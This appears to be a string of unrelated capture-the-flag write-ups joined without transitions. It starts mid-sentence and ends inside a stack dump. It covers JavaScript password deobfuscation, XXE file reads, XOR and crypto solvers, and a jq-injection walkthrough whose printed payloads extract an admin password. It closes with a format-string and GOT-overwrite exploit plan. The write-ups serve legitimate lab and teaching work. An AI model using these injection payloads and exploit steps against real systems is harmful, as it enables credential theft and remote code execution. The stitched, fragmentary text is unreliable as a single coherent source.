is hexadecimal! _op1 = _op1 - 0x0; // convert string to number var _temp1 = _lookupTable[_op1]; // look up index of lookup table return _temp1; // return that string from the lookup table};``` You can see below that this function is used often. ```javascriptfunction CheckPassword(password) { var _0x4bbdc3 = [_lookUpStringAtPos('0xe'), _lookUpStringAtPos('0x3'), _lookUpStringAtPos('0x7'), _lookUpStringAtPos('0x4'), _lookUpStringAtPos('0xa')]; // all functions window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('9-12', 'BE*'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_lookUpStringAtPos('0x2'), _lookUpStringAtPos('0xb')); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_lookUpStringAtPos('0x6'), '5W'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('16', _lookUpStringAtPos('0x9')); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_lookUpStringAtPos('0x5'), 'pg'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]]('7-9', '+n'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_lookUpStringAtPos('0xd'), '4t'); window[_0x4bbdc3[0x0]][_0x4bbdc3[0x2]](_lookUpStringAtPos('0x0'), '$F'); if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0x8')) === password[_lookUpStringAtPos('0x1')](0x9, 0xc)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0x2')) === password.substring(0x4, 0x7)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0x6')) === password[_lookUpStringAtPos('0x1')](0x0, 0x2)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]]('16') === password[_lookUpStringAtPos('0x1')](0x10)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0x5')) === password[_lookUpStringAtPos('0x1')](0xc, 0xe)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0xc')) === password[_lookUpStringAtPos('0x1')](0x7, 0x9)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0xd')) === password[_lookUpStringAtPos('0x1')](0xe, 0x10)) { if (window[_0x4bbdc3[0x0]][_0x4bbdc3[0x1]](_lookUpStringAtPos('0x0')) === password[_lookUpStringAtPos('0x1')](0x2, 0x4)) return !![]; } } } } } } } return ![];}``` So what I did is evaluate each function call to the lookup function and did a find and replace in my text editor with the result. ```javascript> _lookUpStringAtPos('0xe')'localStorage'> _lookUpStringAtPos('0x3')'getItem'> _lookUpStringAtPos('0x7')'setItem'> _lookUpStringAtPos('0x4')'deleteItem'> _lookUpStringAtPos('0xa')'updateItem'> _lookUpStringAtPos('0xb')'bb='> _lookUpStringAtPos('0x2')'4-7'> _lookUpStringAtPos('0x6')'0-2'> _lookUpStringAtPos('0x9')'^7M'> _lookUpStringAtPos('0x5')'12-14'> _lookUpStringAtPos('0xd')'14-16'> _lookUpStringAtPos('0x0')'2-4'> _lookUpStringAtPos('0x8')'9-12'> _lookUpStringAtPos('0x1')'substring'> _lookUpStringAtPos('0xc')'7-9'>``` You can see I did this for `_0x4bbdc3` as well, which I renamed to `_functions` ```javascript> _functions[0x0]'localStorage'> _functions[0x2]'setItem'> _functions[0x1]'getItem'>``` After all that, you can see that we now have some actually readable code! ```javascriptvar _lookupTable=[ // look up table of strings '2-4', 'substring', '4-7', 'getItem', 'deleteItem', '12-14', '0-2', 'setItem', '9-12', '^7M', 'updateItem', 'bb=', '7-9', '14-16', 'localStorage']; (function (_op1, _op2) { // useless function var _temp1 = function (_op3) { while (--_op3) { _op1.push(_op1.shift()); } }; _temp1(++_op2);}(_lookupTable, 0x78));var _lookUpStringAtPos = function (_op1, _op2) { // argument 1 is hexadecimal! _op1 = _op1 - 0x0; // convert string to number var _temp1 = _lookupTable[_op1]; // look up index of lookup table return _temp1; // return that string from the lookup table}; function CheckPassword(password) { var _functions = ['localStorage', 'getItem', 'setItem', 'deleteItem', 'updateItem']; // all functions window['localStorage']['setItem']('9-12', 'BE*'); window['localStorage']['setItem']('4-7', 'bb='); window['localStorage']['setItem']('0-2', '5W'); window['localStorage']['setItem']('16', '^7M'); window['localStorage']['setItem']('12-14', 'pg'); window['localStorage']['setItem']('7-9', '+n'); window['localStorage']['setItem']('14-16', '4t'); window['localStorage']['setItem']('2-4', '$F'); if (window['localStorage']['getItem']('9-12') === password['substring'](0x9, 0xc)) { if (window['localStorage']['getItem']('4-7') === password.substring(0x4, 0x7)) { if (window['localStorage']['getItem']('0-2') === password['substring'](0x0, 0x2)) { if (window['localStorage']['getItem']('16') === password['substring'](0x10)) { if (window['localStorage']['getItem']('12-14') === password['substring'](0xc, 0xe)) { if (window['localStorage']['getItem']('7-9') === password['substring'](0x7, 0x9)) { if (window['localStorage']['getItem']('14-16') === password['substring'](0xe, 0x10)) { if (window['localStorage']['getItem']('2-4') === password['substring'](0x2, 0x4)) return !![]; } } } } } } } return ![];}``` You can tell by looking at the code that parts of the password are stored in local storage. I know that it's the password because it's being compared to a variable named `password` What I did is copy and paste the code that stores the password in `localStorage` into firefox developer tools, and then manually copied the password. ![](screenshot.png) When you submit `5W$Fbb=+nBE*pg4t^7M` as the password, you get the flag! Flag: `csictf{l3t_m3_c0nfus3_y0u}`
No captcha required for preview. Please, do not write just a link to original writeup here. You can see 'Investigation' wirte-ups: https://hec-ker.tistory.com/157
1. Исследуем поле ввода. Отправляется POST-запрос. Можно 2. Запускаем веб-сканер (например, dirbuster). Находим /backup (Картинка с часами и стрелкой против направления тоже намекает на бэкап) и /index.php.3. /backup такой же, как index.php. Можно предположить, что есть файл backup.php.4. Запускаем bfac (например), находим бэкап (/.backup.php.swp).5. Отправляем POST-запрос с подходящим параметром.unictf{d0u613_64ckup}
# CSICTF 2020 # Web* [Cascade](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#casade)* [Oreo](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#oreo)* [Warm Up](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#warm-up)* [Mr Rami](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#mr-rami)* [Secure Portal](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Web.md#secure-portal) # Crypto* [Rivest Shamir Adleman](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Cryto.md#rivest-shamir-adleman) # Forensics* [Gradient Sky](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Forensics.md#gradient-sky)* [Panda](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Forensics.md#panda) # Linux* [AKA](https://github.com/wonhee0410/CTF/blob/master/CSICTF_2020/Linux.md#aka)
## Writeup Special Order by AmbrotdLooking around the website and with the second order hint from the second order ecuation, the only place I find I could do something was in customize This was the request: ![4c77161d1306129ba6bd5948acfb6d2a.png](_resources/ddc4c3ccf81f4383ba52da1fbbac8a06.png) Convert it to xml seems to work ![b8a92220f58dd89a0254dd2f0fbbdec7.png](_resources/663fcb1135c544e587bae2fef75193f7.png) And the result was saved in: ![031faa13595eb86ff95db449e842cc54.png](_resources/35bcafae6be64ecdbb62549bcbd9cf97.png) So I tried to pull the /etc/passwd ![e0b8c387b26dc3158937ba021ad89b8d.png](_resources/2c886ac6c2074d71b0b06b21b4afbcc9.png) And the response was on the css file clean-blog.css ![808ca6e0f8cbddf2418dffac3c48d7c3.png](_resources/a104424575cc4a7284cdadad42f6da23.png) So I tried with the flag.txt ![1779fc44a47429a6f2472e80b6d681f7.png](_resources/aecf95e371e548db94c0904a8083c1ed.png) And I got the flag: ![a4688b647cfbb660bce1cbf00cab84d8.png](_resources/a5c352dd4be04dee987c48731c268085.png)
Ну во-первых, стоит отметить, что практически у всех команд возникали вопросы при гугл-опросе фидбэка о тасках данного цтф-а. Меня очень удивил данный факт, потому что на самом деле нчиего сложного не было - необходимо было на 3-ей странице опроса, где было написано "Task is here!!! Be careful!" найти флаг. Это можно было сделать 2-мя способами.1 способ.Поводить курсором по странице посмотреть, а вдруг что спрятано... При наведении курсора на большую и единственную картинку, автоматически открывался флаг (который был сделан как всплывающий текст). 2 способ. В гугл-опросах есть такой баг, а может это фича, что в коде есть практически все, стоит его только открыть. так вот, можно было открыть ctrl+u и ctfl+f "unictf{" и найти флаг таким способом 3 способ.Также одна из команд поделилась со мной третьим способом, очень красивым!curl -X POST [сам опрос] | grep unictf{ @naumovax
> ArchRide> > 573> > I have a long one planned. Buckle up! Limit your character check to the printable range please :)> > Authors: 4lex1, Mr_UnKnOwN>> Download: [surprise](https://0xd13a.github.io/ctfs/inctf2020/archride/surprise) This challenge has more than meets the eye. We start with a bzip2 archive that contains an executable. When run, it asks for a key; if they is wrong you get an error message, if it's right it uses it to decode and drop another archive. Then we start all over again. There are two algorithms inside the executable that check validity of the key. Here are Ghidra decompiles: ```culong FUN_00100949(byte *param_1) { ulong uVar1; if ((int)(char)(param_1[2] ^ *param_1 ^ param_1[4]) == DAT_00302020) { uVar1 = (ulong)DAT_00302024; if ((((((int)(char)(param_1[6] ^ param_1[2] ^ param_1[4]) == DAT_00302024) && (uVar1 = (ulong)DAT_00302028, (int)(char)(param_1[8] ^ param_1[4] ^ param_1[6]) == DAT_00302028)) && (uVar1 = (ulong)DAT_0030202c, (int)(char)(param_1[10] ^ param_1[6] ^ param_1[8]) == DAT_0030202c)) && (((uVar1 = (ulong)DAT_00302030, (int)(char)(param_1[0xc] ^ param_1[8] ^ param_1[10]) == DAT_00302030 && (uVar1 = (ulong)DAT_00302034, (int)(char)(param_1[1] ^ param_1[10] ^ param_1[0xc]) == DAT_00302034)) && ((uVar1 = (ulong)DAT_00302038, (int)(char)(param_1[3] ^ param_1[0xc] ^ param_1[1]) == DAT_00302038 && ((uVar1 = (ulong)DAT_0030203c, (int)(char)(param_1[5] ^ param_1[1] ^ param_1[3]) == DAT_0030203c && (uVar1 = (ulong)DAT_00302040, (int)(char)(param_1[7] ^ param_1[3] ^ param_1[5]) == DAT_00302040)))))))) && ((uVar1 = (ulong)DAT_00302044, (int)(char)(param_1[9] ^ param_1[5] ^ param_1[7]) == DAT_00302044 && ((((uVar1 = (ulong)DAT_00302048, (int)(char)(param_1[0xb] ^ param_1[7] ^ param_1[9]) == DAT_00302048 && (uVar1 = (ulong)DAT_0030204c, (int)(char)(param_1[0xd] ^ param_1[9] ^ param_1[0xb]) == DAT_0030204c)) && (uVar1 = (ulong)DAT_00302050, (int)(char)(*param_1 ^ param_1[0xb] ^ param_1[0xd]) == DAT_00302050)) && (uVar1 = (ulong)DAT_00302054, (int)(char)(param_1[2] ^ param_1[0xd] ^ *param_1) == DAT_00302054)))))) { uVar1 = 1; } } else { uVar1 = 0; } return uVar1;} ... ulong FUN_00100c3d(byte *param_1) { ulong uVar1; if ((int)(char)(param_1[2] ^ *param_1 ^ param_1[1]) == DAT_00302060) { uVar1 = (ulong)DAT_00302064; if ((((((int)(char)(param_1[3] ^ param_1[1] ^ param_1[2]) == DAT_00302064) && (uVar1 = (ulong)DAT_00302068, (int)(char)(param_1[4] ^ param_1[2] ^ param_1[3]) == DAT_00302068)) && (uVar1 = (ulong)DAT_0030206c, (int)(char)(param_1[5] ^ param_1[3] ^ param_1[4]) == DAT_0030206c)) && (((uVar1 = (ulong)DAT_00302070, (int)(char)(param_1[6] ^ param_1[4] ^ param_1[5]) == DAT_00302070 && (uVar1 = (ulong)DAT_00302074, (int)(char)(param_1[7] ^ param_1[5] ^ param_1[6]) == DAT_00302074)) && ((uVar1 = (ulong)DAT_00302078, (int)(char)(param_1[8] ^ param_1[6] ^ param_1[7]) == DAT_00302078 && ((uVar1 = (ulong)DAT_0030207c, (int)(char)(param_1[9] ^ param_1[7] ^ param_1[8]) == DAT_0030207c && (uVar1 = (ulong)DAT_00302080, (int)(char)(param_1[10] ^ param_1[8] ^ param_1[9]) == DAT_00302080)))))))) && ((uVar1 = (ulong)DAT_00302084, (int)(char)(param_1[0xb] ^ param_1[9] ^ param_1[10]) == DAT_00302084 && ((((uVar1 = (ulong)DAT_00302088, (int)(char)(param_1[0xc] ^ param_1[10] ^ param_1[0xb]) == DAT_00302088 && (uVar1 = (ulong)DAT_0030208c, (int)(char)(param_1[0xd] ^ param_1[0xb] ^ param_1[0xc]) == DAT_0030208c)) && (uVar1 = (ulong)DAT_00302090, (int)(char)(*param_1 ^ param_1[0xc] ^ param_1[0xd]) == DAT_00302090)) && (uVar1 = (ulong)DAT_00302094, (int)(char)(param_1[1] ^ param_1[0xd] ^ *param_1) == DAT_00302094)))))) { uVar1 = 1; } } else { uVar1 = 0; } return uVar1;}``` Once the validity is confirmed a simple XOR with the key over the data area in the executable produce the new bzip2 archive. There are good news and bad news. The good news is that the algorithms to check the key and decode the archive are the same for every nested file, we can automate that. The bad news is that the offsets of data to XOR with and decode vary from executable to executable. What's worse, the executables are compiled for different platforms and we cannot simply execute them all to decode data, we would have to replicate the decoding algorithm. To solve these issues we will: * Use Z3 to find the right key characters that match all restrictions* Try several different offsets in the executables to find the right ones* Decode and drop each archive ourselves, recursively processing all the nested levels. We don't know where the archive data ends so we will simply take all data until the end of the executable (bzip2 is good at ignoring junk at the end) Here's the algorithm: ```pythonfrom z3 import *import os # Decode the embedded archive using values at specified offsetsdef decode(const_start_1, const_start_2, data_start): const1 = [0] * 14 for x in range(14): const1[x] = file[const_start_1 + x * 4] const2 = [0] * 14 for x in range(14): const2[x] = file[const_start_2 + x * 4] solver = Solver() # Make sure all characters in the key are in range [0-9a-zA-Z/+] for i in range(14): globals()['c%i' % i] = BitVec('c%i' % i, 32) solver.add( Or( And(globals()['c%i' % i] >= ord('/'), globals()['c%i' % i] <= ord('9')), And(globals()['c%i' % i] >= ord('A'), globals()['c%i' % i] <= ord('Z')), And(globals()['c%i' % i] >= ord('a'), globals()['c%i' % i] <= ord('z')), globals()['c%i' % i] == ord('+'))) # Add restrictions on characters in the key based on the algorithm found in the executables solver.add(globals()['c2'] ^ globals()['c0'] ^ globals()['c4'] == const1[0]) solver.add(globals()['c6'] ^ globals()['c2'] ^ globals()['c4'] == const1[1]) solver.add(globals()['c8'] ^ globals()['c4'] ^ globals()['c6'] == const1[2]) solver.add(globals()['c10'] ^ globals()['c6'] ^ globals()['c8'] == const1[3]) solver.add(globals()['c12'] ^ globals()['c8'] ^ globals()['c10'] == const1[4]) solver.add(globals()['c1'] ^ globals()['c10'] ^ globals()['c12'] == const1[5]) solver.add(globals()['c3'] ^ globals()['c12'] ^ globals()['c1'] == const1[6]) solver.add(globals()['c5'] ^ globals()['c1'] ^ globals()['c3'] == const1[7]) solver.add(globals()['c7'] ^ globals()['c3'] ^ globals()['c5'] == const1[8]) solver.add(globals()['c9'] ^ globals()['c5'] ^ globals()['c7'] == const1[9]) solver.add(globals()['c11'] ^ globals()['c7'] ^ globals()['c9'] == const1[10]) solver.add(globals()['c13'] ^ globals()['c9'] ^ globals()['c11'] == const1[11]) solver.add(globals()['c0'] ^ globals()['c11'] ^ globals()['c13'] == const1[12]) solver.add(globals()['c2'] ^ globals()['c13'] ^ globals()['c0'] == const1[13]) solver.add(globals()['c2'] ^ globals()['c0'] ^ globals()['c1'] == const2[0]) solver.add(globals()['c3'] ^ globals()['c1'] ^ globals()['c2'] == const2[1]) solver.add(globals()['c4'] ^ globals()['c2'] ^ globals()['c3'] == const2[2]) solver.add(globals()['c5'] ^ globals()['c3'] ^ globals()['c4'] == const2[3]) solver.add(globals()['c6'] ^ globals()['c4'] ^ globals()['c5'] == const2[4]) solver.add(globals()['c7'] ^ globals()['c5'] ^ globals()['c6'] == const2[5]) solver.add(globals()['c8'] ^ globals()['c6'] ^ globals()['c7'] == const2[6]) solver.add(globals()['c9'] ^ globals()['c7'] ^ globals()['c8'] == const2[7]) solver.add(globals()['c10'] ^ globals()['c8'] ^ globals()['c9'] == const2[8]) solver.add(globals()['c11'] ^ globals()['c9'] ^ globals()['c10'] == const2[9]) solver.add(globals()['c12'] ^ globals()['c10'] ^ globals()['c11'] == const2[10]) solver.add(globals()['c13'] ^ globals()['c11'] ^ globals()['c12'] == const2[11]) solver.add(globals()['c0'] ^ globals()['c12'] ^ globals()['c13'] == const2[12]) solver.add(globals()['c1'] ^ globals()['c13'] ^ globals()['c0'] == const2[13]) # Find the solution result = str(solver.check()) if result != "sat": return False modl = solver.model() # Collect the key characters from the solution res = "" for i in range(14): obj = globals()['c%i' % i] res += chr(modl[obj].as_long()) print(res) # Decrypt the embedded archive and write it out x = data_start outfile = bytearray((len(file) - x) / 8 + 1) i = 0 while x < len(file): outfile[i] = (file[x] ^ ord(res[i % 13])) & 0xff x += 8 i += 1 open("surprise","wb").write(outfile[0:i]) return True # Loop over all levelswhile True: # Decompress the archive file = bytearray(open("surprise","rb").read()) if file[0:3] != "BZh": print "No archive found" break os.system("bzip2 -dc surprise > surprise.decompressed") # Make sure it's an executable file = bytearray(open("surprise.decompressed","rb").read()) if file[1:4] != "ELF": print "No executable extracted" break os.system("mv surprise.decompressed surprise.decoded") # Load the executable file = bytearray(open("surprise.decoded","rb").read()) # Because offsets differ try 4 different ones if not decode(0x2010, 0x2048, 0x2080): if not decode(0x2020, 0x2060, 0x20A0): if not decode(0x1008, 0x1040, 0x1078): if not decode(0x10133, 0x1016b, 0x101a7): print "Unknown encoding" break # Execute the final version of the executableos.system("./surprise") ``` The script runs for a while and produces the flag: ```$ python solve.py JCE1aWJApiDO5K bzip2: surprise: trailing garbage after EOF ignored25ajMKWS7KW1f9 bzip2: surprise: trailing garbage after EOF ignoredLA9k9yfJGi9u3C bzip2: surprise: trailing garbage after EOF ignored ... aD5quOpbgG1BuaNo archive foundinctf{x32_x64_ARM_MAC_powerPC_4rch_maz3_6745}``` The flag is ```inctf{x32_x64_ARM_MAC_powerPC_4rch_maz3_6745}```.
# Tyrannosaurus Rex Author: [roerohan](https://github.com/roerohan) # Requirements - Python # Source ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) print(e) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 print(z) print(bytearray(z)) c = h(bytearray(z)) return c``` ```We found this fossil. Can you reverse time and bring this back to life?``` # Exploitation In this challenge, you have to reverse the steps to get back the original flag from the ciphertext `c`. Make a function `dec(x)` which takes in the ciphertexts and spits out the original text. ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) print(e) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 print(z) print(bytearray(z)) c = h(bytearray(z)) return c def dec(x): x = list(bytes.fromhex(x.decode())) z = ord('Z') for i in range(len(x)): print(chr(z), end='') z = x[i] ^ zdec(c)``` Now, just run this with python, and pipe the output to `base64 -d`. ```bash$ python fossil | base64 -dflag{tyrannosauras_xor_in_reverse}``` The flag is:```flag{tyrannosauras_xor_in_reverse}```
## Gambler ### Challenge In this challenge, we have access to a server with the following options ```+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Hi, there is a strong relation between philosophy and the gambling! ++ Gamble as an ancient philosopher and find the flag :) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++| Options:| [C]ipher flag!| [E]ncryption function!| [T]ry the encryption| [Q]uit``` Where the encrypttion function is given by:```pythondef encrypt(m, p, a, b): assert m < p and isPrime(p) return (m ** 3 + a * m + b) % p``` ### Solution The goal is to decrypt the flag by recovering the hidden parameters $a,b,p$ and then solving the polynomial used in `encrypt`. We can recover all parameters quite easily with the function to encrypt our own message. We can obtain from the server the value of $$y(x) = x^3 + ax + b \mod p$$ for any input $x$. We can recover $b$ by encrypting 0 as $$y(0) = 0^3 + a*0 + b = b \mod p$$ Where we are assuming that $a,b < p$. With the value of $b$, we can calculate $$y(1) = 1 + a + b \mod p, \quad \Rightarrow \quad a = y(1) - 1 - b$$ Finally, with both $a,b$ recovered, we need to find the modulus $p$. If we encrypt a fairly small message, such that $y(x) > p$ we can use that $$x^3 + ax + b = y(x) + kp, \quad \Rightarrow \quad kp = x^3 + ax + b - y(x)$$ Since we know a and b, we can compute all the terms on the right hand side of this equation and recover $k p$. All that remains is solving for $k$, which is pretty fast as $k$ is so small. With all parameters known, we can request the encrypted flag from the server and solve the cubic equation with Sage:$$x^3 + ax + b = c \mod p$$ ### Implementation ```pyimport osos.environ["PWNLIB_NOTERM"] = "True"from pwn import *from Crypto.Util.number import long_to_bytes debug = False r.recvuntil(b'|\t[Q]uit\n') r.sendline('C')data = r.recvuntil(b'|\t[Q]uit\n')enc = int(data.split()[3].decode().strip()) def encrypt_int(n): r.sendline('T') r.recvuntil(' your message to encrypt:\n') r.sendline(str(n)) data = r.recvuntil(b'|\t[Q]uit\n') b = int(data.split()[3].decode().strip()) return b b = encrypt_int(0)c = encrypt_int(1)a = c - b - 1enc_kp = encrypt_int(100)kp = (100**3 + a*100 + b) - enc_kp if debug: print(a) print(b) print(kp) p = max(f[0] for f in factor(kp))PR.<x> = PolynomialRing(GF(p))f = x^3 + a * x + b - encrts = f.roots()print(rts) for root in rts: flag = root[0] print(long_to_bytes(flag)) r.interactive()``` ### Flag `CCTF{__Gerolamo__Cardano_4N_itaLi4N_p0lYma7H}`
The second flag was at the start of the second video stream, reversed (hint about Enderman). Many people failed to clear the audio stream (they can use subtraction of the original stream to have more clear flag), this way admin sent flag even if participant can properly recognize a part of flag.
# Tyrannosaurus Rex ## Problem > We found this fossil. Can you reverse time and bring this back to life?Download the file below. [fossil](fossil) ## Solution We are given a Python source file with an encrypted flag and the function that was used to encrypt it. Our goal is to understand the encrypt function in order to be able to reverse it and decrypt the file. Looking at the encrypt function, we see that the flag is first converted to base 64, which is stored in the variable `e`. Then, `z`, a list of integers, is formed by XORing every two consecutive letters in `e`. The last letter is XORed with the first one, as indicated by the `% len(e)`. Finally, `z` is converted to hex using `binascii.hexlify()`. Since we know the flag format for this CTF, `flag{.*}`, we can run `base64.b64encode(b'flag')` to see how that would look like in base 64. We get `b'ZmxhZw=='`. The first character, `Z`, has decimal value `90`. Using this knowledge, we can reverse the encryption process and decrypt `z` from right to left. Since the last integer in `z` is the XOR of the last and first character in the base 64 representation of the flag, we can XOR `90` with the last character in `z` to get the last character of the flag. This works because the XOR operation has the following property: `A ^ A = 0`, therefore `A ^ A ^ B = B`. Using the last character of the flag, we can get the second-last character, and so on. This is the decrypt function: ```pydef dec(ciphertext): z = list(binascii.unhexlify(ciphertext)) i = len(z) - 1 e = b'' last = 90 # base64.b64encode(b'flag')[0] while i >= 0: last ^= z[i] e = chr(last).encode('utf-8') + e i -= 1 f = base64.b64decode(e) return f```
When we netcat in, we get prompted for login and password. After entering the account given to us, we are prompted for a command```Authenticated {"users":{"username":"Dead","password":"pool"}} __ _ _ ____ _____| | |_| |_ ___| \| __ || |__| | . | _| | | __ -||_____|_|___|___|____/|_____| as a service Type .help for help``` If we run `.help`, we are given a few commands```> .help.help Print this help.version Print versions.search Search libcdb.secret Print flag``` Running `.secret` complains that we are not admin```> .secretnot adminno flag for u``` Running `.search` without any parameters gives us the syntax and an example query:```> .search.search <*symbol> <*addr> <filter>Ex: .search fprintf 0x4b970 * required field``` If we run the example query we get```Found: id 6acfaae0398dce58e1857599a274f6d8 name ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64 symbol fprintf address 0x4b970Found: id fc1e12693e5762252bc44256d5a72506 name ubuntu_libc6-dbg_2.4-1ubuntu12_amd64 symbol fprintf address 0x4b970``` If we play around a bit and try to add some random `filter` arguments to the given example, we end up getting a syntax error:```> .search fprintf 0x4b980 *jq: error: syntax error, unexpected $end (Unix shell quoting issues?) at <top-level>, line 1:. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) | .* jq: 1 compile error``` We now know that the search command searches a json database with `jq`. Now, we can enumerate some of the keys of `$maindb` to look for what else may be in the json file. To do this, we can set a `filter` argument like `|$maindb|.+{id:keys[0]}`. The final jq query executed would look like `. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) |.|$maindb|.+{id:keys[0]}`. After testing `keys[1]`, we see that `$maindb` has a `users` key:```> .search fprintf 0x4b970 |$maindb|.+{id:keys[1]}Found: id usersFound: id users``` We can use the same exploit to enumerate the keys in `$maindb['user'][0]`:```> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[0]}Found: id passwordFound: id password> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[1]}Found: id usernameFound: id username``` From here, we can just enumerate all of the usernames:```> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:.["username"]}Found: id 3kFound: id 3k> .search fprintf 0x4b970 |$maindb|.["users"][1]|.+{id:.["username"]}Found: id JamesFound: id James> .search fprintf 0x4b970 |$maindb|.["users"][2]|.+{id:.["username"]}Found: id LarsFound: id Lars> .search fprintf 0x4b970 |$maindb|.["users"][3]|.+{id:.["username"]}Found: id DeadFound: id Dead> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["username"]}Found: id adminFound: id admin``` Then, the `admin` password:```> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["password"]}Found: id v3ryL0ngPwC4nTgu3SS0xfffFound: id v3ryL0ngPwC4nTgu3SS0xfff``` We can then login with the admin credentials and run `.secret`.
# cisctf 2020 ## Smash > My first C program that says hello, do you want to try it?>> `nc chall.csivit.com 30046`>> [`hello`](hello) Tags: _pwn_ _x86_ _remote-shell_ _format-string_ _got-overwrite_ _bof_ _rop_ ## Summary Exploit 1: leak libc (stack) -> GOT(`free` -> `main`) -> GOT(`printf` -> `system`) -> shell Exploit 2: GOT(`free` -> `main`) -> leak libc (GOT) -> GOT(`printf` -> `system`) -> shell Exploit 3: BOF -> ROP -> leak libc (GOT) -> _ret2main_ -> BOF -> ROP -> `system` -> shell Exploit 4: BOF -> ROP -> leak libc (GOT) -> _ret2main_ -> BOF -> ROP -> `execve` -> shell ## Analysis ### Checksec ```[*] '/pwd/datajerk/csictf2020/smash/hello' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)``` No shellcode on the stack, but that's about it for mitigations. Easy GOT overwrite, easy BOF, easy ROP. ### Decompile with Ghidra ```cundefined4 main(void){ char local_11; char *local_10; size_t local_c; local_c = 0; local_10 = (char *)malloc(0); puts("What\'s your name?"); while( true ) { __isoc99_scanf(&DAT_080487dc,&local_11); local_c = local_c + 1; local_10 = (char *)realloc(local_10,local_c); if (local_11 == '\n') break; local_10[local_c - 1] = local_11; } local_10[local_c - 1] = '\0'; say_hello(local_10); free(local_10); return 0;}``` `main` has nothing really of interest except for an unusual unconstrained input method. That input is then passed to `say_hello`: ```cvoid say_hello(char *param_1){ char local_88 [128]; strcpy(local_88,param_1); printf("Hello, "); printf(local_88); puts("!"); return;}``` Since `strcpy` is used vs `strncpy` (safer), and with no stack protection, then one _could_ smash the stack (see _unusual unconstrained input method_ above). However, given there's also a format string vulnerability, there are multiple options. Since this can be done with just format-string exploits, I went with that route. The attack is pretty simple: 1. Overwrite GOT `free` with `main` for multiple _free_ passes while also leaking a libc address.2. Overwrite GOT `printf` with `system` for a shell. To do this, we're going to need a couple of offsets. The first is the start of `local_88` in the stack: ```bash# echo '%1$p' | nc chall.csivit.com 30046What's your name?Hello, 0x70243125!``` Just increment the number until you get a match, in this case, `1`, was the first match and the offset (notice how after `Hello, `, the _string_ `%1$p` in hex). The second offset is a libc address leak; start up `hello` in GDB and set a break point at the second `printf` in `say_hello` (`b *say_hello+58`), then `run`, enter `blah`, and then look at the stack: ```0xffffd5f4│+0x0000: 0xffffd5f8 → "blah" ← $esp0xffffd5f8│+0x0004: "blah"0xffffd5fc│+0x0008: 0xf7e4d400 → <realloc+160> leave0xffffd600│+0x000c: 0x000000100xffffd604│+0x0010: 0xf7fe4ff8 → <_dl_fixup+184> mov edi, eax0xffffd608│+0x0014: 0x080482f1 → "realloc"0xffffd60c│+0x0018: 0xf7faa7a0 → 0x000000000xffffd610│+0x001c: 0x0804b168 → 0x000000000xffffd614│+0x0020: 0x00021e980xffffd618│+0x0024: 0x000000000xffffd61c│+0x0028: 0xef1014000xffffd620│+0x002c: 0x000000010xffffd624│+0x0030: 0x000000000xffffd628│+0x0034: 0xf7e4c40b → <_int_realloc+11> add ebx, 0x15dbf50xffffd62c│+0x0038: 0xf7faa000 → 0x001d7d6c0xffffd630│+0x003c: 0x0804b160 → "blah"0xffffd634│+0x0040: 0xf7faa7a0 → 0x000000000xffffd638│+0x0044: 0x000000050xffffd63c│+0x0048: 0xf7e4d437 → <realloc+215> add esp, 0x100xffffd640│+0x004c: 0x000000100xffffd644│+0x0050: 0x080487dc → 0x00006325 ("%c"?)0xffffd648│+0x0054: 0xffffd684 → 0x0804b160 → "blah"0xffffd64c│+0x0058: 0x000000000xffffd650│+0x005c: 0x000000100xffffd654│+0x0060: 0x000000100xffffd658│+0x0064: 0xf7faa7a0 → 0x000000000xffffd65c│+0x0068: 0x0804b158 → 0x000000000xffffd660│+0x006c: 0xffffd698 → 0x000000000xffffd664│+0x0070: 0xf7feae20 → <_dl_runtime_resolve+16> pop edx0xffffd668│+0x0074: 0xf7e4d369 → <realloc+9> add ebx, 0x15cc970xffffd66c│+0x0078: 0x0804a000 → 